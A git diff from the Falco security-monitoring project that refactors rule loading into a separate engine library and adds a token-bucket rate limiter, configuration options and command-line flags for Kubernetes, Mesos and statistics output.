 int falco_rules::add_filter(lua_State *ls)
 {
-	if (! lua_islightuserdata(ls, -2) ||
+	if (! lua_islightuserdata(ls, -3) ||
+	    ! lua_isstring(ls, -2) ||
 	    ! lua_istable(ls, -1))
 	{
-		falco_logger::log(LOG_ERR, "Invalid arguments passed to add_filter()\n");
-		throw sinsp_exception("add_filter error");
+		throw falco_exception("Invalid arguments passed to add_filter()\n");
 	}
 
-	falco_rules *rules = (falco_rules *) lua_topointer(ls, -2);
+	falco_rules *rules = (falco_rules *) lua_topointer(ls, -3);
+	const char *rulec = lua_tostring(ls, -2);
 
 	list<uint32_t> evttypes;
 
@@ -51,44 +68,49 @@ int falco_rules::add_filter(lua_State *ls)
 		lua_pop(ls, 1);
 	}
 
-	rules->add_filter(evttypes);
+	std::string rule = rulec;
+	rules->add_filter(rule, evttypes);
 
 	return 0;
 }
 
-void falco_rules::add_filter(list<uint32_t> &evttypes)
+void falco_rules::add_filter(string &rule, list<uint32_t> &evttypes)
 {
 	// While the current rule was being parsed, a sinsp_filter
 	// object was being populated by lua_parser. Grab that filter
-	// and pass it to the inspector.
+	// and pass it to the engine.
 	sinsp_filter *filter = m_lua_parser->get_filter(true);
 
-	m_inspector->add_evttype_filter(evttypes, filter);
+	m_engine->add_evttype_filter(rule, evttypes, filter);
 }
 
-void falco_rules::load_compiler(string lua_main_filename)
+int falco_rules::enable_rule(lua_State *ls)
 {
-	ifstream is;
-	is.open(lua_main_filename);
-	if(!is.is_open())
+	if (! lua_islightuserdata(ls, -3) ||
+	    ! lua_isstring(ls, -2) ||
+	    ! lua_isnumber(ls, -1))
 	{
-		throw sinsp_exception("can't open file " + lua_main_filename);
+		throw falco_exception("Invalid arguments passed to enable_rule()\n");
 	}
 
-	string scriptstr((istreambuf_iterator<char>(is)),
-			 istreambuf_iterator<char>());
+	falco_rules *rules = (falco_rules *) lua_topointer(ls, -3);
+	const char *rulec = lua_tostring(ls, -2);
+	std::string rule = rulec;
+	bool enabled = (lua_tonumber(ls, -1) ? true : false);
 
-	//
-	// Load the compiler script
-	//
-	if(luaL_loadstring(m_ls, scriptstr.c_str()) || lua_pcall(m_ls, 0, 0, 0))
-	{
-		throw sinsp_exception("Failed to load script " +
-			lua_main_filename + ": " + lua_tostring(m_ls, -1));
-	}
+	rules->enable_rule(rule, enabled);
+
+	return 0;
 }
 
-void falco_rules::load_rules(string rules_filename, bool verbose, bool all_events)
+void falco_rules::enable_rule(string &rule, bool enabled)
+{
+	m_engine->enable_rule(rule, enabled);
+}
+
+void falco_rules::load_rules(const string &rules_content,
+			     bool verbose, bool all_events,
+			     string &extra, bool replace_container_info)
 {
 	lua_getglobal(m_ls, m_lua_load_rules.c_str());
 	if(lua_isfunction(m_ls, -1))
@@ -158,18 +180,20 @@ void falco_rules::load_rules(string rules_filename, bool verbose, bool all_event
 
 		lua_setglobal(m_ls, m_lua_ignored_syscalls.c_str());
 
-		lua_pushstring(m_ls, rules_filename.c_str());
+		lua_pushstring(m_ls, rules_content.c_str());
 		lua_pushlightuserdata(m_ls, this);
 		lua_pushboolean(m_ls, (verbose ? 1 : 0));
 		lua_pushboolean(m_ls, (all_events ? 1 : 0));
-		if(lua_pcall(m_ls, 4, 0, 0) != 0)
+		lua_pushstring(m_ls, extra.c_str());
+		lua_pushboolean(m_ls, (replace_container_info ? 1 : 0));
+		if(lua_pcall(m_ls, 6, 0, 0) != 0)
 		{
 			const char* lerr = lua_tostring(m_ls, -1);
 			string err = "Error loading rules:" + string(lerr);
-			throw sinsp_exception(err);
+			throw falco_exception(err);
 		}
 	} else {
-		throw sinsp_exception("No function " + m_lua_load_rules + " found in lua rule module");
+		throw falco_exception("No function " + m_lua_load_rules + " found in lua rule module");
 	}
 }
 
@@ -189,19 +213,14 @@ void falco_rules::describe_rule(std::string *rule)
 		{
 			const char* lerr = lua_tostring(m_ls, -1);
 			string err = "Could not describe " + (rule == NULL ? "all rules" : "rule " + *rule) + ": " + string(lerr);
-			throw sinsp_exception(err);
+			throw falco_exception(err);
 		}
 	} else {
-		throw sinsp_exception("No function " + m_lua_describe_rule + " found in lua rule module");
+		throw falco_exception("No function " + m_lua_describe_rule + " found in lua rule module");
 	}
 }
 
 
-sinsp_filter* falco_rules::get_filter()
-{
-	return m_lua_parser->get_filter();
-}
-
 falco_rules::~falco_rules()
 {
 	delete m_lua_parser;

userspace/engine/rules.h

@@ -0,0 +1,56 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#include <list>
+
+#include "sinsp.h"
+
+#include "lua_parser.h"
+
+class falco_engine;
+
+class falco_rules
+{
+ public:
+	falco_rules(sinsp* inspector, falco_engine *engine, lua_State *ls);
+	~falco_rules();
+	void load_rules(const string &rules_content, bool verbose, bool all_events,
+			std::string &extra, bool replace_container_info);
+	void describe_rule(string *rule);
+
+	static void init(lua_State *ls);
+	static int add_filter(lua_State *ls);
+	static int enable_rule(lua_State *ls);
+
+ private:
+	void add_filter(string &rule, list<uint32_t> &evttypes);
+	void enable_rule(string &rule, bool enabled);
+
+	lua_parser* m_lua_parser;
+	sinsp* m_inspector;
+	falco_engine *m_engine;
+	lua_State* m_ls;
+
+	string m_lua_load_rules = "load_rules";
+	string m_lua_ignored_syscalls = "ignored_syscalls";
+	string m_lua_ignored_events = "ignored_events";
+	string m_lua_events = "events";
+	string m_lua_describe_rule = "describe_rule";
+};

userspace/engine/token_bucket.cpp

@@ -0,0 +1,71 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <cstddef>
+#include <sys/time.h>
+
+#include "utils.h"
+#include "token_bucket.h"
+
+token_bucket::token_bucket()
+{
+	init(1, 1);
+}
+
+token_bucket::~token_bucket()
+{
+}
+
+void token_bucket::init(uint32_t rate, uint32_t max_tokens)
+{
+	m_rate = rate;
+	m_max_tokens = max_tokens;
+	m_tokens = max_tokens;
+	m_last_seen = sinsp_utils::get_current_time_ns();
+}
+
+bool token_bucket::claim()
+{
+	// Determine the number of tokens gained. Delta between
+	// last_seen and now, divided by the rate.
+	uint64_t now = sinsp_utils::get_current_time_ns();
+	uint64_t tokens_gained = (now - m_last_seen) / (m_rate * 1000000000);
+	m_last_seen = now;
+
+	m_tokens += tokens_gained;
+
+	//
+	// Cap at max_tokens
+	//
+	if(m_tokens > m_max_tokens)
+	{
+		m_tokens = m_max_tokens;
+	}
+
+	//
+	// If tokens is < 1, can't claim.
+	//
+	if(m_tokens < 1)
+	{
+		return false;
+	}
+
+	m_tokens--;
+
+	return true;
+}

userspace/engine/token_bucket.h

@@ -0,0 +1,65 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#include <cstdint>
+
+// A simple token bucket that accumulates tokens at a fixed rate and allows
+// for limited bursting in the form of "banked" tokens.
+class token_bucket
+{
+public:
+	token_bucket();
+	virtual ~token_bucket();
+
+	//
+	// Initialize the token bucket and start accumulating tokens
+	//
+	void init(uint32_t rate, uint32_t max_tokens);
+
+	//
+	// Returns true if a token can be claimed. Also updates
+	// internal metrics.
+	//
+	bool claim();
+private:
+
+	//
+	// The number of tokens generated per second.
+	//
+	uint64_t m_rate;
+
+	//
+	// The maximum number of tokens that can be banked for future
+	// claim()s.
+	//
+	uint64_t m_max_tokens;
+
+	//
+	// The current number of tokens
+	//
+	uint64_t m_tokens;
+
+	//
+	// The last time claim() was called (or the object was created).
+	// Nanoseconds since the epoch.
+	//
+	uint64_t m_last_seen;
+};
+

userspace/falco/CMakeLists.txt

@@ -3,22 +3,20 @@ include_directories("${LUAJIT_INCLUDE}")
 
 include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libscap")
 include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp")
+include_directories("${PROJECT_SOURCE_DIR}/userspace/engine")
 include_directories("${PROJECT_BINARY_DIR}/userspace/falco")
 include_directories("${CURL_INCLUDE_DIR}")
 include_directories("${YAMLCPP_INCLUDE_DIR}")
 include_directories("${DRAIOS_DEPENDENCIES_DIR}/yaml-${DRAIOS_YAML_VERSION}/target/include")
 
-add_executable(falco configuration.cpp formats.cpp fields.cpp rules.cpp logger.cpp falco.cpp)
+add_executable(falco configuration.cpp logger.cpp falco_outputs.cpp statsfilewriter.cpp falco.cpp)
 
-target_link_libraries(falco sinsp)
+target_link_libraries(falco falco_engine sinsp)
 target_link_libraries(falco
-	"${LPEG_SRC}/lpeg.a"
-	"${LYAML_LIB}"
         "${LIBYAML_LIB}"
 	"${YAMLCPP_LIB}")
 
 
-set(FALCO_LUA_MAIN "rule_loader.lua")
 configure_file(config_falco.h.in config_falco.h)
 
 install(TARGETS falco DESTINATION bin)

userspace/falco/config_falco.h.in

@@ -2,13 +2,10 @@
 
 #define FALCO_VERSION "${FALCO_VERSION}"
 
-#define FALCO_LUA_DIR "/usr/share/falco/lua/"
+#define FALCO_LUA_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}/lua/"
 #define FALCO_SOURCE_DIR "${PROJECT_SOURCE_DIR}"
 #define FALCO_SOURCE_CONF_FILE "${PROJECT_SOURCE_DIR}/falco.yaml"
 #define FALCO_INSTALL_CONF_FILE "/etc/falco.yaml"
 #define FALCO_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/userspace/falco/lua/"
 
-
-#define FALCO_LUA_MAIN "${FALCO_LUA_MAIN}"
-
 #define PROBE_NAME "${PROBE_NAME}"

userspace/falco/configuration.cpp

@@ -1,32 +1,60 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
 #include "configuration.h"
-#include "config_falco.h"
-#include "sinsp.h"
 #include "logger.h"
 
 using namespace std;
 
+falco_configuration::falco_configuration()
+	: m_config(NULL)
+{
+}
+
+falco_configuration::~falco_configuration()
+{
+	if (m_config)
+	{
+		delete m_config;
+	}
+}
 
 // If we don't have a configuration file, we just use stdout output and all other defaults
-void falco_configuration::init(std::list<std::string> &cmdline_options)
+void falco_configuration::init(list<string> &cmdline_options)
 {
 	init_cmdline_options(cmdline_options);
 
-	output_config stdout_output;
+	falco_outputs::output_config stdout_output;
 	stdout_output.name = "stdout";
 	m_outputs.push_back(stdout_output);
 }
 
-void falco_configuration::init(string conf_filename, std::list<std::string> &cmdline_options)
+void falco_configuration::init(string conf_filename, list<string> &cmdline_options)
 {
 	string m_config_file = conf_filename;
 	m_config = new yaml_configuration(m_config_file);
 
 	init_cmdline_options(cmdline_options);
 
-	m_rules_filename = m_config->get_scalar<string>("rules_file", "/etc/falco_rules.yaml");
+	m_rules_filenames.push_back(m_config->get_scalar<string>("rules_file", "/etc/falco_rules.yaml"));
 	m_json_output = m_config->get_scalar<bool>("json_output", false);
 
-	output_config file_output;
+	falco_outputs::output_config file_output;
 	file_output.name = "file";
 	if (m_config->get_scalar<bool>("file_output", "enabled", false))
 	{
@@ -34,27 +62,27 @@ void falco_configuration::init(string conf_filename, std::list<std::string> &cmd
 		filename = m_config->get_scalar<string>("file_output", "filename", "");
 		if (filename == string(""))
 		{
-			throw sinsp_exception("Error reading config file (" + m_config_file + "): file output enabled but no filename in configuration block");
+			throw invalid_argument("Error reading config file (" + m_config_file + "): file output enabled but no filename in configuration block");
 		}
 		file_output.options["filename"] = filename;
 		m_outputs.push_back(file_output);
 	}
 
-	output_config stdout_output;
+	falco_outputs::output_config stdout_output;
 	stdout_output.name = "stdout";
 	if (m_config->get_scalar<bool>("stdout_output", "enabled", false))
 	{
 		m_outputs.push_back(stdout_output);
 	}
 
-	output_config syslog_output;
+	falco_outputs::output_config syslog_output;
 	syslog_output.name = "syslog";
 	if (m_config->get_scalar<bool>("syslog_output", "enabled", false))
 	{
 		m_outputs.push_back(syslog_output);
 	}
 
-	output_config program_output;
+	falco_outputs::output_config program_output;
 	program_output.name = "program";
 	if (m_config->get_scalar<bool>("program_output", "enabled", false))
 	{
@@ -70,9 +98,16 @@ void falco_configuration::init(string conf_filename, std::list<std::string> &cmd
 
 	if (m_outputs.size() == 0)
 	{
-		throw sinsp_exception("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block");
+		throw invalid_argument("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block");
 	}
 
+	string log_level = m_config->get_scalar<string>("log_level", "info");
+
+	falco_logger::set_level(log_level);
+
+	m_notifications_rate = m_config->get_scalar<uint32_t>("outputs", "rate", 1);
+	m_notifications_max_burst = m_config->get_scalar<uint32_t>("outputs", "max_burst", 1000);
+
 	falco_logger::log_stderr = m_config->get_scalar<bool>("log_stderr", false);
 	falco_logger::log_syslog = m_config->get_scalar<bool>("log_syslog", true);
 }
@@ -90,7 +125,7 @@ static bool split(const string &str, char delim, pair<string,string> &parts)
 	return true;
 }
 
-void falco_configuration::init_cmdline_options(std::list<std::string> &cmdline_options)
+void falco_configuration::init_cmdline_options(list<string> &cmdline_options)
 {
 	for(const string &option : cmdline_options)
 	{
@@ -98,13 +133,13 @@ void falco_configuration::init_cmdline_options(std::list<std::string> &cmdline_o
 	}
 }
 
-void falco_configuration::set_cmdline_option(const std::string &opt)
+void falco_configuration::set_cmdline_option(const string &opt)
 {
 	pair<string,string> keyval;
 	pair<string,string> subkey;
 
 	if (! split(opt, '=', keyval)) {
-		throw sinsp_exception("Error parsing config option \"" + opt + "\". Must be of the form key=val or key.subkey=val");
+		throw invalid_argument("Error parsing config option \"" + opt + "\". Must be of the form key=val or key.subkey=val");
 	}
 
 	if (split(keyval.first, '.', subkey)) {

userspace/falco/configuration.h

@@ -1,13 +1,30 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
 #pragma once
 
 #include <yaml-cpp/yaml.h>
+#include <string>
+#include <vector>
+#include <list>
 #include <iostream>
 
-struct output_config
-{
-	std::string name;
-	std::map<std::string, std::string> options;
-};
+#include "falco_outputs.h"
 
 class yaml_configuration
 {
@@ -17,7 +34,7 @@ public:
 	{
 		m_path = path;
 		YAML::Node config;
-		std::vector<output_config> outputs;
+		std::vector<falco_outputs::output_config> outputs;
 		try
 		{
 			m_root = YAML::LoadFile(path);
@@ -118,12 +135,17 @@ private:
 class falco_configuration
 {
  public:
+	falco_configuration();
+	virtual ~falco_configuration();
+
 	void init(std::string conf_filename, std::list<std::string> &cmdline_options);
 	void init(std::list<std::string> &cmdline_options);
 
-	std::string m_rules_filename;
+	std::list<std::string> m_rules_filenames;
 	bool m_json_output;
-	std::vector<output_config> m_outputs;
+	std::vector<falco_outputs::output_config> m_outputs;
+	uint32_t m_notifications_rate;
+	uint32_t m_notifications_max_burst;
  private:
 	void init_cmdline_options(std::list<std::string> &cmdline_options);
 

userspace/falco/falco.cpp

@@ -1,32 +1,42 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
 #define __STDC_FORMAT_MACROS
 
 #include <stdio.h>
-#include <iostream>
+#include <fstream>
+#include <set>
+#include <list>
+#include <string>
 #include <signal.h>
-#include <time.h>
 #include <fcntl.h>
 #include <sys/stat.h>
-#include <algorithm>
 #include <unistd.h>
 #include <getopt.h>
 
-extern "C" {
-#include "lua.h"
-#include "lualib.h"
-#include "lauxlib.h"
-#include "lpeg.h"
-#include "lyaml.h"
-}
-
 #include <sinsp.h>
-#include "config_falco.h"
-#include "configuration.h"
-#include "rules.h"
-#include "formats.h"
-#include "fields.h"
+
 #include "logger.h"
-#include "utils.h"
-#include <yaml-cpp/yaml.h>
+
+#include "configuration.h"
+#include "falco_engine.h"
+#include "config_falco.h"
+#include "statsfilewriter.h"
 
 bool g_terminate = false;
 //
@@ -47,21 +57,55 @@ static void usage()
 	   "Options:\n"
 	   " -h, --help                    Print this page\n"
 	   " -c                            Configuration file (default " FALCO_SOURCE_CONF_FILE ", " FALCO_INSTALL_CONF_FILE ")\n"
-	   " -o, --option <key>=<val>      Set the value of option <key> to <val>. Overrides values in configuration file.\n"
-	   "                               <key> can be a two-part <key>.<subkey>\n"
+	   " -A                            Monitor all events, including those with EF_DROP_FALCO flag.\n"
 	   " -d, --daemon                  Run as a daemon\n"
-	   " -p, --pidfile <pid_file>      When run as a daemon, write pid to specified file\n"
+	   " -D <pattern>                  Disable any rules matching the regex <pattern>. Can be specified multiple times.\n"
            " -e <events_file>              Read the events from <events_file> (in .scap format) instead of tapping into live.\n"
-           " -r <rules_file>               Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
+	   " -k <url>, --k8s-api=<url>\n"
+	   "                               Enable Kubernetes support by connecting to the API server\n"
+      	   "                               specified as argument. E.g. \"http://admin:password@127.0.0.1:8080\".\n"
+	   "                               The API server can also be specified via the environment variable\n"
+	   "                               FALCO_K8S_API.\n"
+	   " -K <bt_file> | <cert_file>:<key_file[#password]>[:<ca_cert_file>], --k8s-api-cert=<bt_file> | <cert_file>:<key_file[#password]>[:<ca_cert_file>]\n"
+	   "                               Use the provided files names to authenticate user and (optionally) verify the K8S API\n"
+	   "                               server identity.\n"
+	   "                               Each entry must specify full (absolute, or relative to the current directory) path\n"
+	   "                               to the respective file.\n"
+	   "                               Private key password is optional (needed only if key is password protected).\n"
+	   "                               CA certificate is optional. For all files, only PEM file format is supported. \n"
+	   "                               Specifying CA certificate only is obsoleted - when single entry is provided \n"
+	   "                               for this option, it will be interpreted as the name of a file containing bearer token.\n"
+	   "                               Note that the format of this command-line option prohibits use of files whose names contain\n"
+	   "                               ':' or '#' characters in the file name.\n"
 	   " -L                            Show the name and description of all rules and exit.\n"
 	   " -l <rule>                     Show the name and description of the rule with name <rule> and exit.\n"
+	   " -m <url[,marathon_url]>, --mesos-api=<url[,marathon_url]>\n"
+	   "                               Enable Mesos support by connecting to the API server\n"
+	   "                               specified as argument. E.g. \"http://admin:password@127.0.0.1:5050\".\n"
+	   "                               Marathon url is optional and defaults to Mesos address, port 8080.\n"
+	   "                               The API servers can also be specified via the environment variable\n"
+	   "                               FALCO_MESOS_API.\n"
+	   " -o, --option <key>=<val>      Set the value of option <key> to <val>. Overrides values in configuration file.\n"
+	   "                               <key> can be a two-part <key>.<subkey>\n"
+	   " -p <output_format>, --print=<output_format>\n"
+	   "                               Add additional information to each falco notification's output.\n"
+	   "                               With -pc or -pcontainer will use a container-friendly format.\n"
+	   "                               With -pk or -pkubernetes will use a kubernetes-friendly format.\n"
+	   "                               With -pm or -pmesos will use a mesos-friendly format.\n"
+	   "                               Additionally, specifying -pc/-pk/-pm will change the interpretation\n"
+	   "                               of %%container.info in rule output fields\n"
+	   "                               See the examples section below for more info.\n"
+	   " -P, --pidfile <pid_file>      When run as a daemon, write pid to specified file\n"
+           " -r <rules_file>               Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
+	   "                               Can be specified multiple times to read from multiple files.\n"
+	   " -s <stats_file>               If specified, write statistics related to falco's reading/processing of events\n"
+	   "                               to this file. (Only useful in live mode).\n"
 	   " -v                            Verbose output.\n"
-	   " -A                            Monitor all events, including those with EF_DROP_FALCO flag.\n"
 	   "\n"
     );
 }
 
-static void display_fatal_err(const string &msg, bool daemon)
+static void display_fatal_err(const string &msg)
 {
 	falco_logger::log(LOG_ERR, msg);
 
@@ -75,23 +119,31 @@ static void display_fatal_err(const string &msg, bool daemon)
 	}
 }
 
-string lua_on_event = "on_event";
-string lua_add_output = "add_output";
-string lua_print_stats = "print_stats";
-
 // Splitting into key=value or key.subkey=value will be handled by configuration class.
 std::list<string> cmdline_options;
 
 //
 // Event processing loop
 //
-void do_inspect(sinsp* inspector,
-		falco_rules* rules,
-		lua_State* ls)
+uint64_t do_inspect(falco_engine *engine,
+		    falco_outputs *outputs,
+		    sinsp* inspector,
+		    string &stats_filename)
 {
+	uint64_t num_evts = 0;
 	int32_t res;
 	sinsp_evt* ev;
-	string line;
+	StatsFileWriter writer;
+
+	if (stats_filename != "")
+	{
+		string errstr;
+
+		if (!writer.init(inspector, stats_filename, 5, errstr))
+		{
+			throw falco_exception(errstr);
+		}
+	}
 
 	//
 	// Loop through the events
@@ -101,6 +153,8 @@ void do_inspect(sinsp* inspector,
 
 		res = inspector->next(&ev);
 
+		writer.handle();
+
 		if (g_terminate)
 		{
 			break;
@@ -129,110 +183,21 @@ void do_inspect(sinsp* inspector,
 			continue;
 		}
 
-		lua_getglobal(ls, lua_on_event.c_str());
-
-		if(lua_isfunction(ls, -1))
+		// As the inspector has no filter at its level, all
+		// events are returned here. Pass them to the falco
+		// engine, which will match the event against the set
+		// of rules. If a match is found, pass the event to
+		// the outputs.
+		unique_ptr<falco_engine::rule_result> res = engine->process_event(ev);
+		if(res)
 		{
-			lua_pushlightuserdata(ls, ev);
-			lua_pushnumber(ls, ev->get_check_id());
-
-			if(lua_pcall(ls, 2, 0, 0) != 0)
-			{
-				const char* lerr = lua_tostring(ls, -1);
-				string err = "Error invoking function output: " + string(lerr);
-				throw sinsp_exception(err);
-			}
+			outputs->handle_event(res->evt, res->rule, res->priority, res->format);
 		}
-		else
-		{
-			throw sinsp_exception("No function " + lua_on_event + " found in lua compiler module");
-		}
-	}
-}
 
-void add_lua_path(lua_State *ls, string path)
-{
-	string cpath = string(path);
-	path += "?.lua";
-	cpath += "?.so";
-
-	lua_getglobal(ls, "package");
-
-	lua_getfield(ls, -1, "path");
-	string cur_path = lua_tostring(ls, -1 );
-	cur_path += ';';
-	lua_pop(ls, 1);
-
-	cur_path.append(path.c_str());
-
-	lua_pushstring(ls, cur_path.c_str());
-	lua_setfield(ls, -2, "path");
-
-	lua_getfield(ls, -1, "cpath");
-	string cur_cpath = lua_tostring(ls, -1 );
-	cur_cpath += ';';
-	lua_pop(ls, 1);
-
-	cur_cpath.append(cpath.c_str());
-
-	lua_pushstring(ls, cur_cpath.c_str());
-	lua_setfield(ls, -2, "cpath");
-
-	lua_pop(ls, 1);
-}
-
-void add_output(lua_State *ls, output_config oc)
-{
-
-	uint8_t nargs = 1;
-	lua_getglobal(ls, lua_add_output.c_str());
-
-	if(!lua_isfunction(ls, -1))
-	{
-		throw sinsp_exception("No function " + lua_add_output + " found. ");
-	}
-	lua_pushstring(ls, oc.name.c_str());
-
-	// If we have options, build up a lua table containing them
-	if (oc.options.size())
-	{
-		nargs = 2;
-		lua_createtable(ls, 0, oc.options.size());
-
-		for (auto it = oc.options.cbegin(); it != oc.options.cend(); ++it)
-		{
-			lua_pushstring(ls, (*it).second.c_str());
-			lua_setfield(ls, -2, (*it).first.c_str());
-		}
-	}
-
-	if(lua_pcall(ls, nargs, 0, 0) != 0)
-	{
-		const char* lerr = lua_tostring(ls, -1);
-		throw sinsp_exception(string(lerr));
-	}
-
-}
-
-// Print statistics on the the rules that triggered
-void print_stats(lua_State *ls)
-{
-	lua_getglobal(ls, lua_print_stats.c_str());
-
-	if(lua_isfunction(ls, -1))
-	{
-		if(lua_pcall(ls, 0, 0, 0) != 0)
-		{
-			const char* lerr = lua_tostring(ls, -1);
-			string err = "Error invoking function print_stats: " + string(lerr);
-			throw sinsp_exception(err);
-		}
-	}
-	else
-	{
-		throw sinsp_exception("No function " + lua_print_stats + " found in lua rule loader module");
+		num_evts++;
 	}
 
+	return num_evts;
 }
 
 //
@@ -242,41 +207,64 @@ int falco_init(int argc, char **argv)
 {
 	int result = EXIT_SUCCESS;
 	sinsp* inspector = NULL;
-	falco_rules* rules = NULL;
+	falco_engine *engine = NULL;
+	falco_outputs *outputs = NULL;
 	int op;
 	int long_index = 0;
-	string lua_main_filename;
 	string scap_filename;
 	string conf_filename;
-	string rules_filename;
-	string lua_dir = FALCO_LUA_DIR;
-	lua_State* ls = NULL;
+	string outfile;
+	list<string> rules_filenames;
 	bool daemon = false;
 	string pidfilename = "/var/run/falco.pid";
 	bool describe_all_rules = false;
 	string describe_rule = "";
+	string stats_filename = "";
 	bool verbose = false;
 	bool all_events = false;
+	string* k8s_api = 0;
+	string* k8s_api_cert = 0;
+	string* mesos_api = 0;
+	string output_format = "";
+	bool replace_container_info = false;
+
+	// Used for writing trace files
+	int duration_seconds = 0;
+	int rollover_mb = 0;
+	int file_limit = 0;
+	unsigned long event_limit = 0L;
+	bool compress = false;
+
+	// Used for stats
+	uint64_t num_evts;
+	double duration;
+	scap_stats cstats;
 
 	static struct option long_options[] =
 	{
 		{"help", no_argument, 0, 'h' },
 		{"daemon", no_argument, 0, 'd' },
+		{"k8s-api", required_argument, 0, 'k'},
+		{"k8s-api-cert", required_argument, 0, 'K' },
+		{"mesos-api", required_argument, 0, 'm'},
 		{"option", required_argument, 0, 'o'},
-		{"pidfile", required_argument, 0, 'p' },
+		{"print", required_argument, 0, 'p' },
+		{"pidfile", required_argument, 0, 'P' },
+		{"writefile", required_argument, 0, 'w' },
 
 		{0, 0, 0, 0}
 	};
 
 	try
 	{
-		inspector = new sinsp();
+		set<string> disabled_rule_patterns;
+		string pattern;
 
 		//
 		// Parse the args
 		//
 		while((op = getopt_long(argc, argv,
-                                        "c:ho:e:r:dp:Ll:vA",
+                                        "hc:AdD:e:k:K:Ll:m:o:P:p:r:s:vw:",
                                         long_options, &long_index)) != -1)
 		{
 			switch(op)
@@ -287,32 +275,75 @@ int falco_init(int argc, char **argv)
 			case 'c':
 				conf_filename = optarg;
 				break;
-			case 'o':
-				cmdline_options.push_back(optarg);
-				break;
-			case 'e':
-				scap_filename = optarg;
-				break;
-			case 'r':
-				rules_filename = optarg;
+			case 'A':
+				all_events = true;
 				break;
 			case 'd':
 				daemon = true;
 				break;
-			case 'p':
-				pidfilename = optarg;
+			case 'D':
+				pattern = optarg;
+				disabled_rule_patterns.insert(pattern);
+				break;
+			case 'e':
+				scap_filename = optarg;
+				k8s_api = new string();
+				mesos_api = new string();
+				break;
+			case 'k':
+				k8s_api = new string(optarg);
+				break;
+			case 'K':
+				k8s_api_cert = new string(optarg);
 				break;
 			case 'L':
 				describe_all_rules = true;
 				break;
+			case 'l':
+				describe_rule = optarg;
+				break;
+			case 'm':
+				mesos_api = new string(optarg);
+				break;
+			case 'o':
+				cmdline_options.push_back(optarg);
+				break;
+			case 'P':
+				pidfilename = optarg;
+				break;
+			case 'p':
+				if(string(optarg) == "c" || string(optarg) == "container")
+				{
+					output_format = "container=%container.name (id=%container.id)";
+					replace_container_info = true;
+				}
+				else if(string(optarg) == "k" || string(optarg) == "kubernetes")
+				{
+					output_format = "k8s.pod=%k8s.pod.name container=%container.id";
+					replace_container_info = true;
+				}
+				else if(string(optarg) == "m" || string(optarg) == "mesos")
+				{
+					output_format = "task=%mesos.task.name container=%container.id";
+					replace_container_info = true;
+				}
+				else
+				{
+					output_format = optarg;
+					replace_container_info = false;
+				}
+				break;
+			case 'r':
+				rules_filenames.push_back(optarg);
+				break;
+			case 's':
+				stats_filename = optarg;
+				break;
 			case 'v':
 				verbose = true;
 				break;
-			case 'A':
-				all_events = true;
-				break;
-			case 'l':
-				describe_rule = optarg;
+			case 'w':
+				outfile = optarg;
 				break;
 			case '?':
 				result = EXIT_FAILURE;
@@ -323,31 +354,39 @@ int falco_init(int argc, char **argv)
 
 		}
 
+		inspector = new sinsp();
+		engine = new falco_engine();
+		engine->set_inspector(inspector);
+		engine->set_extra(output_format, replace_container_info);
+
+		outputs = new falco_outputs();
+		outputs->set_inspector(inspector);
+
